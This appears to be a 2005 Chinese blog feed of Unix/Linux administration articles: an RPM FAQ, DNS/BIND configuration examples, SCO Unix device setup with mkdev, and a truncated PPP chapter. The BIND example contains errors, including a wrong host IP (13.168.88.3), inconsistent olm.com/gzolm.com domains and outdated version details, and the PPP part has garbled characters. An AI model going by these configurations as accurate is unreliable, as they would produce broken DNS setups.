8.为什么需要rpm 在一个操作系统下，需要安装实现各种功能的软件包。这些软件包一般都有各自的 程序，但是同时也有错综复杂的依赖关系。同时还需要解决软件包的版本，以及安装， 配置，卸载的自动化问题。为了解决这些问题，RedHat针对自己的系统提出了一个 较好的办法来管理成千上百的软件。这就是RPM管理系统。在系统中安装了rpm管理系统 以后，只要是符合rpm文件标准的打包的程序都可以方便的安装，升级，卸载 9.是不是所有的linux都使用rpm 任何系统都需要包管理系统，因此很多linux都使用rpm系统。但rpm系统是为RH专门 但是TL,Mandrake等系统也都使用rpm。由于rpm的源程序可以在别的系统上进行编译， 所以有可能在别的系统上也使用rpm 除了rpm，其他一些系统也有自己的软件包管理程序，例如debian的deb包， slakware也都有自己的包管理系统 10.rpm包的文件名为什么那么长 rpm包的文件名中包含了这个软件包的版本信息，操作系统信息，硬件要求等等。 比如mypackage-1.1-2TL.i386.rpm，其中mypackage是在系统中登记的软件包的名字 1.1是软件的版本号，2是发行号，TL表示用于TL操作系统，还可能是RH等。i386表示 用于intel x86平台，还可能是sparc等。 11.软件包文件名中的i386,i686是什么意思 rpm软件包的文件名中，不仅包含了软件名称，版本信息，还包括了适用的硬件架构 的信息。 i386指这个软件包适用于intel 80386以上的x86架构的计算机(AI32) i686指这个软件包适用于intel 80686以上(奔腾pro以上)的x86架构的计算机(IA32) noarch指这个软件包于硬件架构无关，可以通用。 i686软件包的程序通常针对CPU进行了优化，所以，向后兼容比较用以，i386的包在 x86机器上都可以用。向前一般不兼容。不过现在的计算机，奔腾pro以下的CPU已经很少 用，通常配置的机器都可以使用i686软件包 12.不同操作系统发行的rpm包可否混用？ 对于已经编译成二进制的rpm包，由于操作系统环境不同，一般不能混用。 对于以src.rpm发行的软件包，由于需要安装时进行本地编译，所以通常可以在不同 系统下安装。 13.使用rpm时遇到的一些特殊问题 Q 我用rpm -e **.rpm无法删除rpm包 A 包名不要包括rpm， rpm -e 包名，可以包含版本号等信息，但是不可以有后缀.rpm Q 在MS的系统下有没有读RPM文件的工具？ A wincmd with rpm plugins..... Q 是否可以通过ftp安装安装升级rpm包？ A 可以。rpm -ivh <A title=ftp://xxxxxxxx/PATH2SomeRPM href="ftp://xxxxxxxx/PATH2SomeRPM" target=_blank>ftp://xxxxxxxx/PATH2SomeRPM</A> Q rpm安装时已有的包版本过高怎么办？ A 有时由于安装的软件包太老，而系统中相关的软件包版本比较新，所以可能需要 安装的包依赖的一些文件会找不到。这时有两种解决办法， 第一是在系统文件中找到和需要的文件功能相同或相似的文件，做一个符号链接到 需要的目录下。 第二是下载安装新版本的软件包。<img src ="http://www.cnitblog.com/cyberfan/aggbug/2083.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/cyberfan/" target="_blank">cyberfan</a> 2005-08-15 15:00 <a href="http://www.cnitblog.com/cyberfan/articles/2083.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>第18章 域名系统及设置</title><link>http://www.cnitblog.com/cyberfan/articles/2080.html</link><dc:creator>cyberfan</dc:creator><author>cyberfan</author><pubDate>Mon, 15 Aug 2005 06:59:00 GMT</pubDate><guid>http://www.cnitblog.com/cyberfan/articles/2080.html</guid><wfw:comment>http://www.cnitblog.com/cyberfan/comments/2080.html</wfw:comment><comments>http://www.cnitblog.com/cyberfan/articles/2080.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/cyberfan/comments/commentRss/2080.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/cyberfan/services/trackbacks/2080.html</trackback:ping><description><![CDATA[传统上, 将域名转换成IP地址的方式主要靠查表达式, 主机的管理者需将IP地址对应的域名列在主机信息表(host table)内, 此表通常是个普通的文件, TCP/IP的应用程序会根据该表进行域名的转换, 这种方式已随着网络的扩张而显得越来越没有效率, 往往一个主机信息表内即有数以百计的主机, 例如：在Internet的网络信息中心(InterNIC)即维护一份巨大的主机信息表, 列在其中主机称为已注册主机(Registered Host)。此外, 这种方式也没有一个有效率的机制将新注册主机的信息传播到其它系统。<BR><BR>目前的作法是采用以分散式数据库为结构的域名系统(DNS), DNS不依赖特定的主机信息表, 所有域名信息是采用阶层性方式散布在许多域名系统(Domain Name Server)内, 其它主机可向这些域名系统查询域名对应的IP地址与相关信息。<BR><BR>18.1 IP地址表与NIS <BR>在结构相对简单,入网设备数较少的局部网内,各台设备的IP地址及相应的设备名被登录在主机管理文件(或称之为IP地址表)/etc/hosts中。对于每台设备来说, 要利用设备名与其他设备交换文件信息时, 就必须将对方的设备名及其IP地址登录 在自己的主机管理文件中。主机管理文件/etc/hosts的记录格式一般为: <BR><BR>IP地址 设备名称 设备别名表<BR><BR>/etc/hosts例:<BR><BR>192.168.88.1 host1 loghost<BR><BR>..........<BR><BR>当局部网内增加新设备时,需要在每台设备上修改或追加这类管理信息,入网设备数越多,网络管理亦越麻烦。因此, 当局部网具有一定的规模后, 一般常采用NIS (Network Informaion Service)来进行管理。 <BR><BR>利用NIS管理网络时,将一些共同的管理文件集中于一台计算机上，称该计算机 为NIS主服务器(NIS MasterServer)。 处于该NIS主服务器管辖下的各台设备在需 要调用外部管理信息时,向主服务器进行查询并利用查询结果。新增或删减网内设 备时,只须修改服务器上的相应管理文件即可。这样,在一定程度上可以减少管理工作量。 <BR><BR>将局部网连入广域网时,随着设备数量之巨增, 如果仍采用单一管理文件或NIS的平面式网络管理方法,则显得相当勉强。因为,广域网内的计算机数以万计, 要将 所有关联的地址全部记录于一台计算机之一个管理文件,势必造成该文件之巨大化。 这种方法既消耗检索时间,又将增加误记的可能性。另外,采用NIS时,由于共通管理文件的尺寸增大,在网络内交换管理信息时,将占用通讯线路的大量频域, 降低实效 通讯速度。同时,这种集中管理方法又会降低整个网络的可靠性。 <BR><BR>因此,在大规模广域网中之IP地址查询方面,需要一些不同于上诉方法的分布式处理技术。目前,在TCP/IP大规模网络中,服务最为稳定的是域名系统(DNS : Domain Name Server)。在当今网络世界中,DNS已成为一种公认的网络标准, 为 各国,各地区,各部门所采用。 <BR><BR>1.2 DNS—域名服务管理系统 DNS具有以下一些重要特征: <BR><BR>(1) DNS适合于任何网络规模,它不依赖于大规模的IP地址映射表。 <BR><BR>(2) DNS采用分布式数据系统结构,易于管理,网络运行可靠性高。 <BR><BR>(3) 在DNS系统中,新入网的IP信息,在需要时可以自动地播放至网络的任意角落。 <BR><BR>DNS :IP信息的传播<BR><BR>某一计算机A需要查询自己所不知道的IP信息时, 只需向DNS服务器提出请求,委托DNS服务器代理查询即可。DNS采用多级层次树型结构。 DNS服务器受理查询请求之后, 首先对存放于该服务器的数据库进行检索(该数据库一般被存放于cache中)。如果发现被请求地址,则将检索结果送回给计算机A;如果在该服务器上仍未能获得该地址, 该服务器则将相应的请求转送至自己的上级站,直至获得结果为止(若 查询至最终级站仍无法获得结果时,则将出错信息返回给查询者)。 <BR><BR>在广域网中,各台入网设备均依照一定的规则被划分在相应的区段中,一般称这 种区段为域。各域内都设有一台或多台域名服务器,为所管辖范围内之计算机提供设备名与IP地址的映射服务。各部门的域名服务器必须具有统一的通讯标准及合法的处理权限, 以便使各网络间得以准确地交换IP及寻找信息。局网之域名服务器 从上级站获得检索结果后, 除将其反送给查询者外,自己还在内存中保留一份备份, 供再次查询时使用。 <BR><BR>18.2 DNS系统概要 <BR>18.2.1 DNS的层次结构 <BR>为进行分散并行处理,与UNIX的文件系统相类似,DNS采用树型层次结构。DNS虽 被用于进行设备名与IP地址之映射,但在广域网中,并不存在保存有整个广域网之IP地址的设备, 也没有这种必要。在广域网中,IP地址信息被有规律,有计划地分散在 各子网的域名服务器中。在DNS系统内存在着一个最上级服务器,通常称之为根点服务器(root server)。 各国家,地区之根点服务器为国家,地区间网络提供IP查询之 转向服务。具体的映射是由其下属的各级服务器所实现的。 <BR><BR>在中国,ChinaNet之根域(top domain)名为cn。世界各国,地区之根域名均依照国际标准化组织的规定, 采用双字符表示,但亦有例外。由于历史原因,在美国仍采 用着之三字符根域表示。 <BR><BR>对于二级域名,各国有各国的规定。ChinaNet之二级域名定义如下: <BR><BR>edu教育科研机关 com商业性组织 gov政府机关<BR><BR>net网络管理机关 org非盈利性组织 <BR><BR>在ChinaNet上,还将采用下述区域名表示法:<BR><BR>beijing北京地区 shanghai上海地区 tianjin天津地区<BR><BR>...... ........ <BR><BR>各根点之一级域名服务器仅负责其二级域的IP地址信息。二级域名服务器则仅 为其 <BR><BR>属性范围内的各个三级域提供服务。三级域以下的各子域则由各个入网单位自己管理。<BR><BR>三级域之域名一般由各个国家的网络管理中心(NIC:Netwotk Informaion Center)所统<BR><BR>一命名和管理。 <BR><BR>ChinaNet亦即CNIC主服务器之域名表示则为ns.cnc.ac.cn. <BR><BR>在中国,ChinaNet由CNIC(China Network Information Center)统一负责IP地址分配,<BR><BR>及二,三级域名之命名。三级域名常常以各单位的英文缩写来命名。例如, 北京大学为<BR><BR>pku,清华大学为tu,东北大学为enu,大连理工大学为dlut等。因此,这些单 位的三级<BR><BR>域表示为: pku.edu.cn，tu.edu.cn，neu.edu.cn，dlut.edu.cn .......... <BR><BR>四级以下的域名由各三级域名所属单位各自命名, 一般为各个下属机关,部门, 学科之<BR><BR>英文名缩写,但必须唯一。 为书写方便,各子域名的字符数也不宜过多(采用双字符的<BR><BR>较多)。 <BR><BR>18.2.2 DNS的动作原理 <BR>如上所述,为加入广域网,各单位在生成各子域之前,必须针对自己的属性,向各所在国之<BR><BR>NIC申请并获取正式的三级域名,由NIC为其指定上级域。在ChinaNet上构 筑教育,科研<BR><BR>部门网络时,二级域为edu。该属性下的各入网单位要委托edu域代管自己的域外信息。凡<BR><BR>不属于自己所在域的信息均需经edu域名服务其所获取。 <BR><BR>在此,假定edu下afo三级域存在,afo内又分有一些相应的四级子域.以cs域下计算机panda<BR><BR>查询rose.cs.tu.edu.cn为例,让我们来看一下DNS的动作。 <BR><BR>DNS的动作过程如下: <BR><BR>panda.cs.afo.edu.cn试图用telnet命令与rose.cs.tu.edu.cn连接。但由于不知道对方地址, 故向自己之所在域名服务器ns.cs.afo.edu.cn提出查询请求。 <BR><BR>(1) ns.cs.afo.edu.cn受理该请求后,首先检索内存中存放的IP地址表.如发现了该地址, <BR><BR>则将其反送给panda.cs.afo.edu.cn。如未能发现, 则将查询请求转交给上级域服务<BR><BR>器。如此重复至二级域edu至服务器ns.edu.cn。 <BR><BR>(2) ns.edu.cn检查被查询的IP信息之所在三级域,将相应的三级服务器ns.tu .edu. cn<BR><BR>信息(一般称之为NS记录)反送给ns.cs.afo.edu.cn，ns.cs.afo.edu.cn则利用该<BR><BR>信息向ns.tu.edu.cn请求查询rose.cs.tu.edu.cn。 <BR><BR>(3) ns.tu.edu.cn将rose.cs.tu.edu.cn所在域cs.tu.edu.cn之服务器ns.cs.tu.edu.cn <BR><BR>信息反送给ns.cs.afo.edu.cn。 <BR><BR>(4) ns.cs.afo.edu.cn向ns.cs.tu.edu.cn请求查询rouse.cs.tu.edu.cn。ns.cs.tu.edu.cn检索自己管理的IP地址表,将检索结果反送给ns.cs.afo.e du.cn。 <BR><BR>(5) ns.cs.afo.edu.cn将所获得的信息(通常称之为A记录)反送给panda, 并将该信息存<BR><BR>入内存中的IP地址表,以供再用。 <BR><BR>(7) panda用获得的信息与rose.cs.tu.edu.cn试连。 <BR><BR>(以后的过程与DNS无关,在此予以省略) <BR><BR>在上述动作过程中应该注意的是,DNS的查询过程并非递归过程。各中间站仅向查询<BR><BR>服务器反送相应的NS(Name Server)记录。最终的查询是在查询服务器 与含有被查询信<BR><BR>息之域名服务器之间进行的.各中间站上并不缓存相应的NS记录 ,即各中间站没有必要保<BR><BR>存与己无关的冗余信息。这使得广域网中的所有IP地址映射信息能够分散于各个域名服<BR><BR>务器,以达到数据分散,控制独立之目的。 <BR><BR>18.2.3 DNS服务器分类 <BR>一般的UNIX工作站上均配有相应的DNS软件。最常用的是BIND(Berkeley Inter net Name Domain)软件。 <BR><BR>BIND软件在概念上由服务器(server)和解释器(resolver)两个部分所组成。服务器用于对查询请求加以应答,它一般为一个独立的进程,常驻于系统内部. 解释器 则用于向服务器进程提出查询请求。解释器一般并非为一个常驻进程, 而是作为一 些库程序(libresolv.a等)存放于系统中,以供查询者动态(或静态)调用.该程序库提供与域名服务器之连接,及信息交换方法。除服务器外,一般的计算机上仅需备有解释器代码,即可连入广域网。但应该注意的是,从系统及网络的安全性角度来考虑,一些UNIX系统原来配备的BIND软件因版本陈旧, 往往不为人们所利用。因此,在另外装入新版本时,对于一些系统(例SunOS 4.1.x等)有必要重新生成解释器用库程序, 否则,ftp,telnet,rlogin等需要与解释器库程序(libresolv.a)进行动态连接的实用程序将无法使用。 <BR><BR>BIND的服务器由名为named的一个常驻进程所实现。根据其所起的作用之不同, 其运行方式可分类如下: <BR><BR>主服务器(primary server): <BR><BR>负责提供所管辖之域内的全部IP地址映射,保存相应的映射表,并为上级站 所认可。 一个域内只能存在一个主服务器。 <BR><BR>二级服务器(secondary/slave server): <BR><BR>负责提供所管辖之域内的全部IP地址映射 ,保存来自于主服务器的IP映射表。 用于在主服务器故障,或过于拥挤时,提供代换服务,以提高网络的运行性能。 <BR><BR>缓存服务器(cache/hint server): <BR><BR>在域名服务器中,为了提高检索速度,一般都在内存中开辟缓存. 在该缓存 区中保存具有一定生存期限的查寻数据. 缓存服务器即是仅具备这种缓存区,而不具备下属域处理权限的一种特殊的域名服务器.<BR><BR>BIND软件仍在不断的进行着版本更新,以适应新的安全性,管理性, 及IPv6等新技术之需要.BIND当前(1997年6月)之最新版本为BIND 8.1. <BR><BR>应该注意的是, BIND 8.1问世以后, 域名服务器的设定与维护出现了一些很大 的变化. 与BIND 4.X.X相比,BIND 8.1又纠正了一些错误,增添了以下新的功能: <BR><BR>(1)提供DNS之动态更新功能(RFC 2136) <BR><BR>(2)提供DNS更新通知功能(RFC 1996) <BR><BR>(3)提供更加充实的记录功能 <BR><BR>(4)可以进行IP地址级查寻控制,及域间传送,修改权限控制 <BR><BR>(5)改进了域间传送效率 <BR><BR>下面,让我们以介绍一下DNS的具体生成,及管理方法. <BR><BR>18.2.4域名服务的数据文件<BR>/etc/named.boot <BR><BR>名字服务器启动文件；当named守护进程启动时,读取named.boot文件,获得服务器的类型以及初始化数据等信息.<BR><BR>结构: Directory 指定Named守护进程的工作路径和数据文件的存储路径.<BR><BR>primary 说明一个区(zone)的第一服务器, 第三个参数说明数据文件名<BR><BR>域名服务器需要根域或高层域服务器的IP,通过root.cache文件将这些信息送入域名服务器的cache中.须加上cache root.cache<BR><BR><BR><BR>/etc/resolv.conf<BR><BR>是一个客户机和域名服务器上都要设定的解析文件,它具有如下功能:<BR><BR>定义缺省的域名.<BR><BR>用关键字domain来定义,<BR><BR>如: domain olm.com.cn<BR><BR>域名搜索列表<BR><BR>用关键字Search来定义,<BR><BR>如: search olm.com.cn<BR><BR>指定解析服务的次序(如:Bind .Nis.Local)<BR><BR>用关键字hostresorder来定义,<BR><BR>如hostresorder bind local<BR><BR>列出域名服务器的IP地址 (仅客户机需要)<BR><BR>用关键字nameserver来定义, (最多可以定义三个),定义的次序反映了访问的<BR><BR>次序.<BR><BR>如: nameserver 192.168.234.146 <BR><BR>/etc/named.d/named.hosts<BR><BR>包含了自己域中的主机地址信息.,在第一主服务器中必须设置该文件<BR><BR>/etc/named.d/named.local<BR><BR>用来指定名字服务器的本地回送接口<BR><BR>$INCLUDE olm.soa<BR><BR>1 IN PTR localhost.olm.com<BR><BR>记录指定了一个指向本地的反向指针。<BR><BR>/etc/named.d/localhost.rev<BR><BR>指定本机网络回路地址127.0.0.1的域INADDR.ARPA许多网络程序使用这个域,每<BR><BR>一个域名服务器都要设定这个文件.<BR><BR>其中：1是1.0.0.127的缩写，而1.0.0.127就是本地主机127.0.0.1按字节逆转的结果 <BR><BR>/etc/root.cache<BR><BR>名字和地址的初始化缓存<BR><BR>缺省时, root.cache文件包含关于根域名服务器的初始化cache数据.每一个域名服务器<BR><BR>都要设定这个文件.<BR><BR>/etc/named.d/named.soa<BR><BR>包含开始监控（Start of Authority SOA）记录<BR><BR>IN SOA home.olm.com. home.olm.com. (<BR><BR>6.1 ; Serial 版本号或序列号<BR><BR>10800 ; Refresh 刷新时间 <BR><BR>1800 ; Retry 重试 <BR><BR>3600000 ; Expire 截止时间<BR><BR>86400 ) ; Minimum 最小值<BR><BR>IN NS home.olm.com. NS记录表明了这个当前域的名字服务器被称为<BR><BR>Server.Anycompany.COM .<BR><BR>18.2.5 配置的举例：<BR>域gzolm.com网络地址：192.168.88 网络接入Internet<BR><BR>第一主服务器域名是master.gzolm.com ,地址是192.168.88.1<BR><BR>第二主服务器域名是system.gzolm.com ,地址是192.168.88.2<BR><BR>客户机是：work .olm.com 地址是192.168.88.3<BR><BR>配置第一主服务器<BR><BR>以root登录 <BR><BR>1. 创建 /etc/resolv.conf<BR><BR>domain gzolm.com<BR><BR>nameserver 192.168.88.1<BR><BR>nameserver 192.168.88.2<BR><BR>hostresorder local bind<BR><BR>2. 创建 /etc/named.boot<BR><BR>directory /etc/named.d<BR><BR>;type domain source host file <BR><BR>primary gzolm.com olm.hosts<BR><BR>primary 88.168.192.IN-ADDR.ARPA olm.rev<BR><BR>primary 0.0.127.IN-ADDR.ARPA localhost.rev<BR><BR>cache root.cache<BR><BR>3. 创建 /etc/named.d/olm.hosts<BR><BR>$INCLUDE olm.soa <BR><BR>localhost IN A 127.0.0.1<BR><BR>#160; IN MX 50 master.gzolm.com.<BR><BR>master IN A 192.168.88.1<BR><BR>IN MX 50 master.gzolm.com.<BR><BR>system IN A 192.168.88.2<BR><BR>IN MX 50 master.gzolm.com.<BR><BR>Work IN A 13.168.88.3<BR><BR>www.olm.com CNAME master.gzolm.com<BR><BR>ftp.olm.com CNAME system.gzolm.com <BR><BR>4. 创建 /etc/named.d/olm.rev<BR><BR>$INCLUDE olm.soa<BR><BR>1 IN PTR master.gzolm.com.<BR><BR>2 IN PTR system.gzolm.com.<BR><BR>3 IN PTR work.gzolm.com.<BR><BR>5. 创建 /etc/named.d/ localhost.rev<BR><BR>$INCLUDE olm.soa<BR><BR>1 IN PTR localhost.gzolm.com.<BR><BR>6./etc/named.d/olm.soa<BR><BR>@ IN SOA master.gzolm.com. system.gzolm.com. <BR><BR>( 6.1 ; Serial<BR><BR>10800 ; Refresh<BR><BR>1800 ; Retry<BR><BR>3600000 ; Expire<BR><BR>86400 ) ; Minimum<BR><BR>IN NS master.gzolm.com.<BR><BR>IN NS system.gzolm.com.<BR><BR>7./etc/root.cache<BR><BR>重新启动机器<BR><BR>配置第二主服务器<BR><BR>以root登录 <BR><BR>1. 创建 /etc/resolv.conf 文件<BR><BR>domain olm.com<BR><BR>nameserver 192.168.88.1<BR><BR>nameserver 192.168.88.2<BR><BR>hostresorder local bind<BR><BR>2. 创建 /etc/named.boot文件<BR><BR>directory /etc/named.d<BR><BR>;type domain source host file <BR><BR>cache root.cache<BR><BR>secondary gzolm.com 192.168.88.1 olm.hosts<BR><BR>secondary 88.168.192.IN-ADDR.ARPA olm.rev<BR><BR>secondary 0.0.127.IN-ADDR.ARPA localhost.rev<BR><BR>3. 创建 /etc/named.d/localhost.rev文件<BR><BR>$INCLUDE olm.soa<BR><BR>1 IN PTR localhost.gzolm.com<BR><BR>4. 创建 /etc/named.d/olm.soa 文件<BR><BR>@ IN SOA master.gzolm.com. system.gzolm.com. <BR><BR>( 6.1 ; Serial<BR><BR>10800 ; Refresh<BR><BR>1800 ; Retry<BR><BR>3600000 ; Expire<BR><BR>86400 ) ; Minimum<BR><BR>IN NS master.gzolm.com.<BR><BR>IN NS system.gzolm.com.<BR><BR>5 . 创建 /etc/root.cache文件<BR><BR>重新启动机器<BR><BR>配置客户机<BR><BR>以root登录 <BR><BR>1. 创建 /etc/resolv.conf 文件<BR><BR>domain olm.com<BR><BR>nameserver 192.168.88.1<BR><BR>nameserver 192.168.88.2<BR><BR>hostresorder local bind<BR><BR><BR><BR>2.修改 /etc/nsswitch.conf文件<BR><BR>使下行 hosts file<BR><BR>变为 hosts dns file <BR><BR>重新启动机器 <img src ="http://www.cnitblog.com/cyberfan/aggbug/2080.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/cyberfan/" target="_blank">cyberfan</a> 2005-08-15 14:59 <a href="http://www.cnitblog.com/cyberfan/articles/2080.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>第12章 设备管理</title><link>http://www.cnitblog.com/cyberfan/articles/2081.html</link><dc:creator>cyberfan</dc:creator><author>cyberfan</author><pubDate>Mon, 15 Aug 2005 06:59:00 GMT</pubDate><guid>http://www.cnitblog.com/cyberfan/articles/2081.html</guid><wfw:comment>http://www.cnitblog.com/cyberfan/comments/2081.html</wfw:comment><comments>http://www.cnitblog.com/cyberfan/articles/2081.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/cyberfan/comments/commentRss/2081.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/cyberfan/services/trackbacks/2081.html</trackback:ping><description><![CDATA[12.1 设备配置文件<BR>一般情况下，当系统上配置某种设备时，一定要重新连接核心。重新连接核心，目的是把相应设备的驱动程序及相关的一些信息，加到unix的核心中去，以求系统对这种设备<BR><BR>的支持与管理。<BR><BR>系统配置文件管理着系统中所配置设备的驱动程序，直接影响着unix系统的核心。<BR><BR>系统配置目录：/etc/conf <BR><BR>包含了unix系统的配置文件.命令.子目录。<BR><BR>/etc/conf/bin/* 用来进行与系统配置及系统核心相关的操作。<BR><BR>如：增加.删除.修改设备驱动程序 <BR><BR>/etc/conf/pack.d/* 设备驱动程序目标模块 <BR><BR>/etc/conf/sdevice.d/* 每个设备的配置信息<BR><BR>/etc/conf/node.d/* 是对加到/dev目录下设备节点的描述。<BR><BR>/etc/conf/cf.d/* 连接核心所需的配置文件 <BR><BR>/etc/conf/init.d/* 描述系统中每个串口的状态。 <BR><BR>在unix系统中，文件Master和System成为系统的全部配置信息文件<BR><BR>Master包含的是系统配置的主信息<BR><BR>/etc/conf/cf.d/mdevice<BR><BR>描述系统当前所能支持的设备驱动程序和可配置模块的功能.特征.设备的主 <BR><BR>设备号。 <BR><BR>mdevice文件格式：<BR><BR>参数1：驱动程序的内部名字。<BR><BR>参数2：表示本驱动程序所提供的功能。<BR><BR>参数3：表示驱动程序的特点。<BR><BR>参数4：与这个驱动程序相关的处理程序前缀。<BR><BR>参数5：块主设备号<BR><BR>参数6：字符主设备号<BR><BR>参数7：定义可以连接到控制器上的最小设备号<BR><BR>参数8：定义可以连接到控制器上的最大设备号<BR><BR>参数9：使用dma通道号<BR><BR>/etc/conf/cf.d/mtune<BR><BR>系统所有可调核心参数文件，确定了核心参数的调整范围。 <BR><BR>/etc/conf/mfsys.d/*<BR><BR>包含了系统每一个可以配置的文件系统的描述。<BR><BR>System包含的是系统配置的局部（local）信息<BR><BR>/etc/conf/sdevice.d/*<BR><BR>sdevice(sdevice.d目录下) 文件则准确地记录了系统中哪些设备配置了，哪些设<BR><BR>备还没有配置，设备所使用的中断向量.I/O地址以及优先级等一些设备配置上<BR><BR>的具体细节 <BR><BR>sdevice文件格式<BR><BR>参数1：驱动程序的内部名字。<BR><BR>参数2：设备使用情况，"Y" 表示设备被配置进入核心 。<BR><BR>参数3：表示同一个控制器上的子设备数或伪设备数。<BR><BR>参数4：中断优先级 。<BR><BR>参数5：设备的中断类型。<BR><BR>参数6：设备所使用的中断号<BR><BR>参数7：起始I/O地址<BR><BR>参数8：结束I/O地址<BR><BR>参数9：控制器的起始内存地址<BR><BR>参数10：控制器的结束内存地址<BR><BR>如果要手动地修改设备配置,最重要的是要修改sdevice.d目录下的相关文件.<BR><BR>当新的核心建立时,sdevice.d目录下的全部文件合并在一起,构成单个文件<BR><BR>/etc/conf/cf.d/sdevice.显然,每连一次核心,文件sdevice就要重构一次.<BR><BR>文件sdevice完全可以反映当前系统配置情况.<BR><BR>/etc/conf/cf.d/stune<BR><BR>系统调整过的核心参数文件 <BR><BR>/etc/conf/sfsys.d/*<BR><BR>描述系统上可配置文件系统的配置情况。 <BR><BR>12.2 设备的配置<BR>首先明确Unix系统中硬件设备的安装，实际上是转换为文件设备的安装。<BR><BR>安装方式：<BR><BR>1).菜单配置： scoadmin -&gt; hardware/kernel -&gt; 硬件<BR><BR>2).命令配置： mkdev <BR><BR>常用的设备配置与安装：<BR><BR>1. 硬盘：mkdev hd<BR><BR>a．标准硬盘 <BR><BR>mkdev hd disk controller<BR><BR>其中： disk为硬盘,controller为控制器编号 <BR><BR>b．SCSI硬盘<BR><BR>mkdev hd id ha lun hatype<BR><BR>其中：Id为主接口卡上的控制器编号,Ha为主接口板号<BR><BR>Lun为逻辑单元号, Hatype为主接口板类型<BR><BR>配置多硬盘：<BR><BR>如果多个硬盘已装好，SCO UNIX5.0.4以前版本需要mkdev hd两遍再做mkdev fs。<BR><BR>SCO UNIX5.0.4会自动安装多个硬盘，当然扩充硬盘对重复以前版本的安装方法。<BR><BR>注： 当需将第二个数据硬盘，加在另SCO unix 5.0.4系统上时。<BR><BR>增加一硬盘 ( # mkdev hd )<BR><BR>2. 文件系统重命名，不可改变分区大小（#divvy /dev/1s0） <BR><BR>增加文件系统 ( #mkdev fs )<BR><BR>3.光驱：mkdev cdrom<BR><BR>设备名：/dev/cd0<BR><BR>4.磁带机：mkdev tape<BR><BR>5.串口：mkdev serial <BR><BR>串口1不需配(系统默认)<BR><BR>6.并口：mkdev parallel <BR><BR>7.鼠标：mkdev mouse<BR><BR>测试命令：#usemouse <BR><BR>8.modem: mkdev modem<BR><BR>将信息写在/usr/lib/uucp/Devices文件中 <BR><BR>9.打印机：mkdev lp <BR><BR>10.远程打印机<BR><BR>1).安装打印包<BR><BR>#mkdev rlp (客户端，服务端都要配置) <BR><BR>2).配置打印机<BR><BR>#rlpconf (客户端，服务端都要配置) <BR><BR>3).受托主机访问<BR><BR>#/etc/hosts.equiv <BR><BR>11.网卡：netconfig<BR><BR>如果是ISA网卡，先用驱动盘确认网卡中断，I/O地址；(NE2000 3 300-21F)如果<BR><BR>是PCI网卡或做网卡在主板上，系统会自动识别。识别有可能是正确，有可能不正<BR><BR>确，用驱动盘设置Device function bus的值<BR><BR>12.显示卡：scoadmin video<BR><BR>明确卡的型号，加载驱动包，如果发现花屏，考虑驱动包的选择正确与否，或增加<BR><BR>显卡内存（1M--2M）。<BR><BR>13.配置可读可写光驱：<BR><BR>同配置硬盘，注意，MO读写块格式（512K/块，1024K/块）<BR><BR>14.多用户卡配置：<BR><BR>1). 非智能卡一般用mkdev serial配置端口选择类型，设置中断号即可。<BR><BR>2)．其它类卡安装: 用# tar xv6 命令,从软盘将文件复制到硬盘,后用 #install <BR><BR>安装开端口.如：#enable /dev/tty2a如果终端连不通，可查看多用户卡的<BR><BR>中断号<BR><BR>5.伪终端的配置：<BR><BR>#mkdev ptty 或 scoadmin -&gt; system -&gt; hardware -&gt; ptty<BR><BR>显示伪终端的数量 <BR><BR>#l /dev/ttyp* |wc -l <BR><BR>16.串口终端的配置：<BR><BR>在连接终端之前，无论是主机上的标准串口，还是多串卡提供的串口都要先进行<BR><BR>配置。 （mkdev serial）<BR><BR>终端设置：波特率9600 . 8位数据位 .1位停止位 . 没有奇偶校验 . <BR><BR>全双工以及XON/OFF握手协议<BR><BR>终端的安装：主机开启/关闭 # enable/disable tty1a<BR><BR>(其中tty1a是终端所占用的端口1, 系统默认串口1), 终端正常：login:<BR><BR>否则;在主机上先关闭 #disable ttyxx，再输入 #date &gt;/dev/tty1a <BR><BR>如在终端显示当前日期，否则终端与主机连接存在问题 <BR><BR>串口: DCE（数据通讯设备） DTE（数据终端设备）<BR><BR><BR><BR><BR><BR>显示配置信息命令：hwconfig <BR><BR>配置的基本原则：硬件的型号，I/O地址，硬中断号 <img src ="http://www.cnitblog.com/cyberfan/aggbug/2081.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/cyberfan/" target="_blank">cyberfan</a> 2005-08-15 14:59 <a href="http://www.cnitblog.com/cyberfan/articles/2081.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>第20章 PPP协议</title><link>http://www.cnitblog.com/cyberfan/articles/2078.html</link><dc:creator>cyberfan</dc:creator><author>cyberfan</author><pubDate>Mon, 15 Aug 2005 06:58:00 GMT</pubDate><guid>http://www.cnitblog.com/cyberfan/articles/2078.html</guid><wfw:comment>http://www.cnitblog.com/cyberfan/comments/2078.html</wfw:comment><comments>http://www.cnitblog.com/cyberfan/articles/2078.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/cyberfan/comments/commentRss/2078.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/cyberfan/services/trackbacks/2078.html</trackback:ping><description><![CDATA[配置PPP点对点协议(Point to Point Protocol)<BR><BR>PPP 协议是SLIP ( 串行协议网际协议)的后继，PPP变成了异步网络通信的工业标准。<BR><BR>PPP的特点：<BR><BR>l 允许IP数据包在串行或电话线上传输<BR><BR>l 知道如何对modem拨号来实现拨输出连接请求，绾斡Υ?/span&gt;modem来实现拨入连接请求<BR><BR>l 可被配置为监督线路，当一段时间内没有数据包发送时挂断线路<BR><BR>l 提供网络管理的许多便利<BR><BR>配置UUCP文件<BR><BR>配置PPP 之前，首先要配置UUCP 文件。因动态拨出(dynamic outgoing) PPP连接使用UUCP工具来选择正确的modem，对其设置并拨号，以与远端系统建立连接。动态拨入(dynamic incoming) PPP连接使用UUCP工具来设置modem以接收拨入呼叫。<BR><BR>配置UUCP 文件方法：<BR><BR>1． UNIX 的工具 <BR><BR># 